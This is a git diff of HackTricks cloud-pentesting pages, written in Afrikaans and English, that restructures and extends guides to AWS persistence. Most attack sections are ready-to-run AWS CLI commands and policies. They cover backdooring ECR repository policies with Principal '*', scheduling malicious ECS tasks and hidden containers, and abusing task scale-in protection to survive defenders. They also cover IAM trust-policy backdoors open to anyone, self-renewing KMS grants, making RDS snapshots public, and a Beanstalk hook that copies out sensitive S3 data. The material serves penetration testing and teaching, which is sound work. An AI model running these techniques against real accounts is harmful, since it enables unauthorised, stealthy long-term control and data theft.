repository wat onder die geteikende prefix geskep word, erf outomaties 'n attacker-controlled repository policy (bv. cross-account read/write), tag mutability, en scanning defaults. + +
+Backdoor future PTC-created repos under a chosen prefix +```bash +# Region +REGION=us-east-1 + +# 1) Prepare permissive repository policy (example grants everyone RW) +cat > /tmp/repo_backdoor_policy.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BackdoorRW", +"Effect": "Allow", +"Principal": {"AWS": "*"}, +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer", +"ecr:InitiateLayerUpload", +"ecr:UploadLayerPart", +"ecr:CompleteLayerUpload", +"ecr:PutImage" +] +} +] +} +JSON + +# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE +aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json + +# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix +# This example caches from Amazon ECR Public namespace "nginx" +aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx + +# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx) +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com + +docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest + +# 5) Validate the backdoor policy was applied on the newly created repository +aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq . +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md deleted file mode 100644 index 95daab33b..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ /dev/null @@ -1,93 +0,0 @@ -# AWS - ECS Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Verborgen Periodieke ECS Taak - -> [!NOTE] -> TODO: Toets - -'n Aanvaller kan 'n verborgen periodieke ECS-taak skep met behulp van Amazon EventBridge om **die uitvoering van 'n kwaadwillige taak periodiek te skeduleer**. Hierdie taak kan verkenning uitvoer, data uitbring of volharding in die AWS-rekening handhaaf. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an Amazon EventBridge rule to trigger the task periodically -aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" - -# Add a target to the rule to run the malicious ECS task -aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ -{ -"Id": "malicious-ecs-task-target", -"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", -"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", -"EcsParameters": { -"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", -"TaskCount": 1 -} -} -]' -``` -### Agterdeur Container in Bestaande ECS Taakdefinisie - -> [!NOTE] -> TODO: Toets - -'n Aanvaller kan 'n **stealthy backdoor container** by 'n bestaande ECS taakdefinisie voeg wat saam met wettige containers loop. Die agterdeur container kan gebruik word vir volharding en om kwaadwillige aktiwiteite uit te voer. -```bash -# Update the existing task definition to include the backdoor container -aws ecs register-task-definition --family "existing-task" --container-definitions '[ -{ -"name": "legitimate-container", -"image": "legitimate-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -}, -{ -"name": "backdoor-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": false -} -]' -``` -### Ongedokumenteerde ECS-diens - -> [!NOTE] -> TODO: Toets - -'n Aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take tot 'n minimum te stel en logging te deaktiveer, word dit moeiliker vir administrateurs om die kwaadwillige diens op te merk. -```bash -# Create a malicious task definition -aws ecs register-task-definition --family "malicious-task" --container-definitions '[ -{ -"name": "malicious-container", -"image": "malicious-image:latest", -"memory": 256, -"cpu": 10, -"essential": true -} -]' - -# Create an undocumented ECS service with the malicious task definition -aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md new file mode 100644 index 000000000..6ccb3b165 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md @@ -0,0 +1,152 @@ +# AWS - ECS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Hidden Periodic ECS Task + +> [!NOTE] +> TODO: Test + +An attacker kan 'n hidden periodic ECS task skep deur Amazon EventBridge te gebruik om **schedule the execution of a malicious task periodically**. Hierdie task kan reconnaissance uitvoer, exfiltrate data, of persistence handhaaf in die AWS rekening. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an Amazon EventBridge rule to trigger the task periodically +aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)" + +# Add a target to the rule to run the malicious ECS task +aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} +]' +``` +### Backdoor Container in Bestaande ECS Task Definition + +> [!NOTE] +> TODO: Toets + +’n aanvaller kan ’n **stealthy backdoor container** by ’n bestaande ECS task definition voeg wat langs legitieme containers loop. Die backdoor container kan gebruik word vir persistence en om skadelike aktiwiteite uit te voer. +```bash +# Update the existing task definition to include the backdoor container +aws ecs register-task-definition --family "existing-task" --container-definitions '[ +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} +]' +``` +### Ongedokumenteerde ECS-diens + +> [!NOTE] +> TODO: Toets + +'n aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take op 'n minimum te stel en logging uit te skakel, word dit moeiliker vir administrateurs om die kwaadwillige diens op te let. +```bash +# Create a malicious task definition +aws ecs register-task-definition --family "malicious-task" --container-definitions '[ +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} +]' + +# Create an undocumented ECS service with the malicious task definition +aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" +``` +### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + +Misbruik ecs:UpdateTaskProtection om te verhoed dat service tasks deur scale‑in events en rolling deployments gestop word. Deur die beskerming voortdurend te verleng, kan 'n aanvaller 'n langlewende taak aan die gang hou (vir C2 of dataversameling) selfs al verlaag verdedigers desiredCount of push nuwe taakrevisies. + +Stappe om te reproduseer in us-east-1: +```bash +# 1) Cluster (create if missing) +CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null) +[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text) + +# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc) +cat > /tmp/ht-persist-td.json << 'JSON' +{ +"family": "ht-persist", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"containerDefinitions": [ +{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest", +"command": ["/bin/sh","-c","sleep 864000"]} +] +} +JSON +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null + +# 3) Create service (use default VPC public subnet + default SG) +VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text) +SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text) +SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text) +aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \ +--task-definition ht-persist --desired-count 1 --launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}" + +# 4) Get running task ARN +TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text) + +# 5) Enable scale-in protection for 24h and verify +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440 +aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK" + +# 6) Try to scale service to 0 (task should persist) +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 +aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING + +# Optional: rolling deployment blocked by protection +aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment +aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]' + +# 7) Cleanup +aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true +aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true +aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true +aws ecs deregister-task-definition --task-definition ht-persist || true +``` +Impak: 'n beskermde task bly RUNNING ondanks desiredCount=0 en blokkeer vervangings tydens nuwe deployments, waardeur onopvallende, langdurige volharding binne die ECS-diens moontlik word. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md deleted file mode 100644 index 6621de131..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - EFS Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### Wysig Hulpbronbeleid / Sekuriteitsgroepe - -Deur die **hulpbronbeleid en/of sekuriteitsgroepe** te wysig, kan jy probeer om jou toegang tot die lêerstelsel te volhard. - -### Skep Toegangspunt - -Jy kan **'n toegangspunt skep** (met worteltoegang tot `/`) wat toeganklik is vanaf 'n diens waar jy **ander volharding** geïmplementeer het om bevoorregte toegang tot die lêerstelsel te behou. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md new file mode 100644 index 000000000..5d9e5faaf --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - EFS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### Wysig Resource Policy / Security Groups + +Deur die **resource policy and/or security groups** te wysig, kan jy probeer om jou access in die lêerstelsel te persist. + +### Skep Access Point + +Jy kan **skep 'n access point** (met root access tot `/`) wat vanaf 'n diens toeganklik is waar jy **ander persistence** geïmplementeer het om privileged access tot die lêerstelsel te behou. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md index b006e182b..2830bf8c4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md @@ -1,35 +1,35 @@ -# AWS - Elastic Beanstalk Volharding +# AWS - Elastic Beanstalk Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Vir meer inligting, kyk: +Vir meer inligting, sien: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Volharding in Instansie +### Persistence in Instance -Om volharding binne die AWS-rekening te handhaaf, kan 'n **volhardingsmeganisme binne die instansie bekendgestel word** (cron job, ssh sleutel...) sodat die aanvaller toegang kan verkry en IAM rol **akkrediteer van die metadata diens** kan steel. +Om persistence binne die AWS-account te handhaaf, kan 'n **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) geïnstalleer word, sodat die attacker toegang daartoe kan kry en die IAM role **credentials from the metadata service** kan steel. -### Agterdeur in Weergawe +### Backdoor in Version -'n Aanvaller kan die kode binne die S3 repo agterdeur sodat dit altyd sy agterdeur en die verwagte kode uitvoer. +Die attacker kan die code in die S3 repo backdoor sodat dit altyd sy backdoor en die verwagte code uitvoer. -### Nuwe agterdeur weergawe +### New backdoored version -In plaas daarvan om die kode op die werklike weergawe te verander, kan die aanvaller 'n nuwe agterdeur weergawe van die toepassing ontplooi. +In plaas daarvan om die code op die werklike version te verander, kan die attacker 'n nuwe backdoored version van die application deploy. -### Misbruik van Aangepaste Hulpbronne Levensiklus Hake +### Abusing Custom Resource Lifecycle Hooks > [!NOTE] -> TODO: Toets +> TODO: Test -Elastic Beanstalk bied levensiklus hake wat jou toelaat om aangepaste skripte tydens instansie voorsiening en beëindiging uit te voer. 'n Aanvaller kan **'n levensiklus hake konfigureer om periodiek 'n skrip uit te voer wat data uitbring of toegang tot die AWS-rekening handhaaf**. +Elastic Beanstalk verskaf lifecycle hooks wat jou toelaat om custom scripts tydens instance provisioning en termination te laat loop. Die attacker kan **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. ```bash -bashCopy code# Attacker creates a script that exfiltrates data and maintains access +# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv gzip /tmp/data.csv @@ -72,4 +72,4 @@ Fn::GetAtt: # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md deleted file mode 100644 index fafb47912..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ /dev/null @@ -1,47 +0,0 @@ -# AWS - IAM Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Vir meer inligting, toegang tot: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -### Algemene IAM Persistensie - -- Skep 'n gebruiker -- Voeg 'n beheerde gebruiker by 'n bevoorregte groep -- Skep toegang sleutels (van die nuwe gebruiker of van alle gebruikers) -- Gee ekstra toestemmings aan beheerde gebruikers/groepe (aangehegte beleide of inline beleide) -- Deaktiveer MFA / Voeg jou eie MFA-toestel by -- Skep 'n Rol Ketting Juggling situasie (meer hieroor hieronder in STS persistensie) - -### Backdoor Rol Vertroue Beleide - -Jy kan 'n backdoor in 'n vertrouensbeleid plaas om dit te kan aanvaar vir 'n eksterne hulpbron wat deur jou beheer word (of vir almal): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": ["*", "arn:aws:iam::123213123123:root"] -}, -"Action": "sts:AssumeRole" -} -] -} -``` -### Backdoor-beleid Weergawe - -Gee Administrateur toestemmings aan 'n beleid in nie sy laaste weergawe nie (die laaste weergawe moet legitiem lyk), en ken dan daardie weergawe van die beleid toe aan 'n beheerde gebruiker/groep. - -### Backdoor / Skep Identiteitsverskaffer - -As die rekening reeds 'n algemene identiteitsverskaffer (soos Github) vertrou, kan die voorwaardes van die vertroue verhoog word sodat die aanvaller dit kan misbruik. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md new file mode 100644 index 000000000..4e51c098d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - IAM Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +### Algemene IAM Persistence + +- Skep 'n user +- Voeg 'n beheerde user by 'n privileged group +- Skep access keys (van die nuwe user of van alle users) +- Gee ekstra toestemmings aan beheerde users/groups (attached policies of inline policies) +- Deaktiveer MFA / Voeg jou eie MFA device by +- Skep 'n Role Chain Juggling situasie (meer hieroor hieronder in STS persistence) + +### Backdoor Role Trust Policies + +Jy kan 'n backdoor in 'n trust policy plaas om dit te kan assume vir 'n external resource wat deur jou beheer word (of vir almal): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] +} +``` +### Backdoor Policy Version + +Gee Administrator-permissies aan 'n policy wat nie in sy laaste weergawe is nie (die laaste weergawe moet geloofwaardig lyk), en ken dan daardie weergawe van die policy toe aan 'n beheerde user/group. + +### Backdoor / Create Identity Provider + +Indien die account reeds 'n algemene identity provider (soos Github) vertrou, kan die trust-voorwaardes uitgebrei word sodat die aanvaller dit kan misbruik. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md deleted file mode 100644 index c4e58a804..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - KMS Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Gee toegang via KMS-beleide - -'n Aanvaller kan die toestemming **`kms:PutKeyPolicy`** gebruik om **toegang te gee** tot 'n sleutel aan 'n gebruiker onder sy beheer of selfs aan 'n eksterne rekening. Kyk na die [**KMS Privesc-bladsy**](../aws-privilege-escalation/aws-kms-privesc.md) vir meer inligting. - -### Ewige Toestemming - -Toestemmings is 'n ander manier om 'n prinsiep sekere toestemmings oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n toestemming te gee wat 'n gebruiker toelaat om toestemmings te skep. Boonop kan 'n gebruiker verskeie toestemmings (selfs identies) oor dieselfde sleutel hê. - -Daarom is dit moontlik vir 'n gebruiker om 10 toestemmings met al die toestemmings te hê. Die aanvaller moet dit konstant monitor. En as op 'n sekere tydstip 1 toestemming verwyder word, moet nog 10 gegenereer word. - -(Ons gebruik 10 en nie 2 nie om te kan opspoor dat 'n toestemming verwyder is terwyl die gebruiker steeds 'n paar toestemmings het) -```bash -# To generate grants, generate 10 like this one -aws kms create-grant \ ---key-id \ ---grantee-principal \ ---operations "CreateGrant" "Decrypt" - -# To monitor grants -aws kms list-grants --key-id -``` -> [!NOTE] -> 'n Toekenning kan slegs toestemmings gee vanaf hierdie: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md new file mode 100644 index 000000000..f86ed221c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md @@ -0,0 +1,37 @@ +# AWS - KMS Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Grant toegang via KMS-beleide + +'n Aanvaller kan die toestemming **`kms:PutKeyPolicy`** gebruik om **toegang te gee** tot 'n sleutel aan 'n gebruiker onder sy beheer, of selfs aan 'n eksterne rekening. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) vir meer inligting. + +### Eternal Grant + +Grants is nog 'n manier om 'n principal sekere permissies oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n grant te gee wat 'n gebruiker toelaat om grants te skep. Verder kan 'n gebruiker verskeie grants hê (selfs identiese) oor dieselfde sleutel. + +Daarom is dit moontlik dat 'n gebruiker 10 grants met al die permissies het. Die aanvaller moet dit voortdurend monitor. En as op enige tydstip 1 grant verwyder word, behoort nog 10 gegenereer te word. + +(Ons gebruik 10 en nie 2 nie sodat ons kan opspoor dat 'n grant verwyder is terwyl die gebruiker nog steeds 'n grant het) +```bash +# To generate grants, generate 10 like this one +aws kms create-grant \ +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" + +# To monitor grants +aws kms list-grants --key-id +``` +> [!NOTE] +> 'n grant kan slegs toestemmings gee vanaf hierdie: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md deleted file mode 100644 index 56edc67c0..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Lightsail Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Laai Instansie SSH sleutels & DB wagwoorde af - -Hulle sal waarskynlik nie verander word nie, so om hulle te hê is 'n goeie opsie vir volharding - -### Agterdeur Instansies - -'n Aanvaller kan toegang tot die instansies verkry en hulle agterdeur: - -- Deur 'n tradisionele **rootkit** te gebruik -- 'n Nuwe **publieke SSH-sleutel** by te voeg -- 'n Poort bloot te stel met poortklop met 'n agterdeur - -### DNS volharding - -As domeine gekonfigureer is: - -- Skep 'n subdomein wat jou IP aanwys sodat jy 'n **subdomein oorneem** sal hê -- Skep **SPF** rekord wat jou toelaat om **e-posse** van die domein te stuur -- Konfigureer die **hoofdomein IP na jou eie** en voer 'n **MitM** uit van jou IP na die wettige een - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md new file mode 100644 index 000000000..32d9ed6b6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md @@ -0,0 +1,33 @@ +# AWS - Lightsail Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Vir meer inligting kyk: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Laai instansie SSH-sleutels en DB-wagwoorde af + +Dit sal waarskynlik nie verander word nie, so om dit te hê is 'n goeie opsie vir persistensie + +### Backdoor Instansies + +'n aanvaller kan toegang tot die instansies kry en 'n backdoor op hulle installeer: + +- Deur byvoorbeeld 'n tradisionele **rootkit** te gebruik +- Voeg 'n nuwe **public SSH key** by +- Blootstel 'n poort via port knocking met 'n backdoor + +### DNS Persistensie + +As domeine gekonfigureer is: + +- Skep 'n subdomein wat na jou IP wys sodat jy 'n **subdomain takeover** sal hê +- Skep 'n **SPF** rekord wat jou toelaat om **e-posse** vanaf die domein te stuur +- Konfigureer die **hoofdomein-IP na jou eie een** en voer 'n **MitM** vanaf jou IP na die legitieme een uit + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md deleted file mode 100644 index 48418c48e..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - RDS Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### Maak instansie publiek toeganklik: `rds:ModifyDBInstance` - -'n Aanvaller met hierdie toestemming kan **'n bestaande RDS-instansie wysig om publieke toeganklikheid te aktiveer**. -```bash -aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately -``` -### Skep 'n admin gebruiker binne die DB - -'n Aanvaller kan eenvoudig **'n gebruiker binne die DB skep** sodat selfs as die meester gebruiker se wagwoord gewysig word, hy **nie die toegang tot die databasis verloor nie**. - -### Maak snapshot publiek -```bash -aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md new file mode 100644 index 000000000..57f10e4fb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - RDS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### Maak instansie publiek toeganklik: `rds:ModifyDBInstance` + +'n aanvaller met hierdie toestemming kan **'n bestaande RDS-instansie wysig om publieke toeganklikheid moontlik te maak**. +```bash +aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately +``` +### Skep 'n admin gebruiker in die DB + +'n aanvaller kan net **'n gebruiker in die DB skep**, sodat selfs as die wagwoord van die master-gebruiker gewysig word, hy **nie toegang tot die database verloor nie**. + +### Maak snapshot publiek +```bash +aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md deleted file mode 100644 index b84765fa9..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ /dev/null @@ -1,25 +0,0 @@ -# AWS - S3 Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS Kliëntkant Enkripsie - -Wanneer die enkripsieproses voltooi is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal **die gegenereerde versleutelde sleutel binne die metadata** van die lêer stoor ([python code voorbeeld](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat wanneer die ontsleuteling plaasvind, dit dit weer met KMS kan ontsleutel: - -
